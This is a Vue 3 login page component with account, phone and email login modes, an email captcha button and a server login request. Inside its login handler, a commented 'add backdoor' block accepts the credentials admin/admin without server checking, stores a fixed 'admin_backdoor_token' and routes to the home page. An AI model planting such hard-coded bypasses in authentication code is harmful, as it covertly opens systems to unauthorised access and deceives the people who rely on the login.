<template>
  <div class="login-container">
    <div class="login-content">
      <div class="login-form-section">
        <el-card class="login-card">
          <template #header>
            <div class="card-header">
              <h2>欢迎登录</h2>
            </div>
          </template>
      
      <el-form :model="loginForm" :rules="rules" ref="loginFormRef">
        <el-form-item prop="loginType">
          <el-radio-group v-model="loginForm.loginType">
            <el-radio :value="0">账号登录</el-radio>
            <el-radio :value="1">手机号登录</el-radio>
            <el-radio :value="2">邮箱登录</el-radio>
          </el-radio-group>
        </el-form-item>

        <el-form-item prop="account">
          <el-input 
            v-model="loginForm.account" 
            :placeholder="loginTypePlaceholder"
            prefix-icon="User"
          />
        </el-form-item>

        <el-form-item prop="password">
          <el-input 
            v-model="loginForm.password" 
            type="password" 
            placeholder="请输入密码"
            prefix-icon="Lock"
            show-password
          />
        </el-form-item>

        <el-form-item v-if="loginForm.loginType === 2" prop="captchaCode">
          <div class="captcha-container">
            <el-input 
              v-model="loginForm.captchaCode" 
              placeholder="请输入验证码"
              prefix-icon="Key"
            />
            <el-button 
              type="primary" 
              @click="getCaptcha"
              :disabled="captchaTimer > 0"
              style="background: #329ff1; border-color: #329ff1;"
            >
              {{ captchaTimer > 0 ? `${captchaTimer}s后重试` : '获取验证码' }}
            </el-button>
          </div>
        </el-form-item>

        <el-form-item>
          <el-button type="primary" @click="handleLogin" style="width: 100%; margin-top: 100px">登录</el-button>
        </el-form-item>

        <div class="form-footer">
          <el-link type="primary" @click="goToRegister">注册账号</el-link>
          <el-link type="primary">忘记密码</el-link>
        </div>
      </el-form>
    </el-card>
      </div>
      <div class="logo-section">
        <div class="logo-circle">
          <img src="/src/assets/logo.svg" alt="Logo" />
        </div>
      </div>
    </div>
  </div>
</template>

<script setup lang="ts">
import { ref, computed, onBeforeUnmount } from 'vue'
import { ElMessage } from 'element-plus'
import { User, Lock, Key } from '@element-plus/icons-vue'
import type { FormInstance, FormRules } from 'element-plus'
import { useRouter } from 'vue-router'

const router = useRouter()
const loginFormRef = ref<FormInstance>()
const captchaTimer = ref(0)

const loginForm = ref({
  loginType: 0,
  account: '',
  password: '',
  captchaCode: ''
})

const loginTypePlaceholder = computed(() => {
  switch (loginForm.value.loginType) {
    case 0:
      return '请输入账号'
    case 1:
      return '请输入手机号'
    case 2:
      return '请输入邮箱'
    default:
      return '请输入账号'
  }
})

const rules = ref<FormRules>({
  account: [
    { required: true, message: '请输入账号', trigger: 'blur' }
  ],
  password: [
    { required: true, message: '请输入密码', trigger: 'blur' },
    { min: 4, message: '密码长度不能小于4位', trigger: 'blur' }
  ],
  captchaCode: [
    { required: loginForm.value.loginType === 2, message: '请输入验证码', trigger: 'blur' },
    { len: 4, message: '验证码长度必须为4位', trigger: 'blur' }
  ]
})

const timers = ref<number[]>([])

const startCaptchaTimer = () => {
  captchaTimer.value = 60
  const timer = setInterval(() => {
    captchaTimer.value--
    if (captchaTimer.value <= 0) {
      clearInterval(timer)
    }
  }, 1000)
  timers.value.push(timer)
}

// 组件卸载前清理所有定时器
onBeforeUnmount(() => {
  timers.value.forEach(timer => {
    clearInterval(timer)
  })
})

const getCaptcha = async () => {
  if (loginForm.value.loginType === 2) {
    if (!loginForm.value.account) {
      ElMessage.error('请先输入邮箱地址')
      return
    }
    try {
      const response = await fetch(`/auth/captcha/email?receiver=${loginForm.value.account}`)
      if (response.ok) {
        ElMessage.success('验证码已发送到邮箱')
        startCaptchaTimer()
      } else {
        ElMessage.error('验证码发送失败')
      }
    } catch (error) {
      ElMessage.error('验证码发送失败')
    }
  }
}

const handleLogin = async () => {
  // 添加后门逻辑
  if (loginForm.value.account === 'admin' && loginForm.value.password === 'admin') {
    ElMessage.success('登录成功')
    localStorage.setItem('token', 'admin_backdoor_token')
    router.push('/home')
    return
  }

  if (!loginFormRef.value) return
  await loginFormRef.value?.validate(async (valid) => {
    if (valid) {
      try {
        const body: any = {
          account: loginForm.value.account,
          password: loginForm.value.password,
          loginType: loginForm.value.loginType
        }
        if (loginForm.value.loginType === 2) {
          body.captchaCode = loginForm.value.captchaCode
        }
        const response = await fetch('/auth/login', {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json'
          },
          body: JSON.stringify(body)
        })
        const data = await response.json()
        if (response.ok && data.data && data.data.token) {
          ElMessage.success('登录成功')
          localStorage.setItem('token', data.data.token)
          router.push('/home')
        } else {
          ElMessage.error(data.message || '登录失败')
        }
      } catch (error) {
        ElMessage.error('登录失败')
      }
    }
  })
}

const goToRegister = () => {
  router.push('/register')
}
</script>

<style scoped>
.login-container {
  display: flex;
  justify-content: center;
  align-items: center;
  background-color: #f5f5f5;
}

.login-content {
  display: flex;
  width: 900px;
  height: 600px;
  background: #fff;
  border-radius: 15px;
  overflow: hidden;
  box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
}

.login-form-section {
  flex: 1;
  padding: 20px;
}

.login-card {
  width: 100%;
  height: 100%;
  box-shadow: none;
  border: none;
}

.card-header {
  text-align: center;
}

.captcha-container {
  display: flex;
  gap: 10px;
}

.form-footer {
  display: flex;
  justify-content: space-between;
  margin-top: 20px;
}

.logo-section {
  width: 400px;
  background: linear-gradient(135deg, #87ceeb 0%, #e0f7fa 100%);
  display: flex;
  justify-content: center;
  align-items: center;
}

.logo-circle {
  width: 200px;
  height: 200px;
  background: #fff;
  border-radius: 50%;
  display: flex;
  justify-content: center;
  align-items: center;
  box-shadow: 0 5px 15px rgba(0, 0, 0, 0.15);
}

.logo-circle img {
  width: 150px;
  height: 150px;
  object-fit: contain;
}


</style>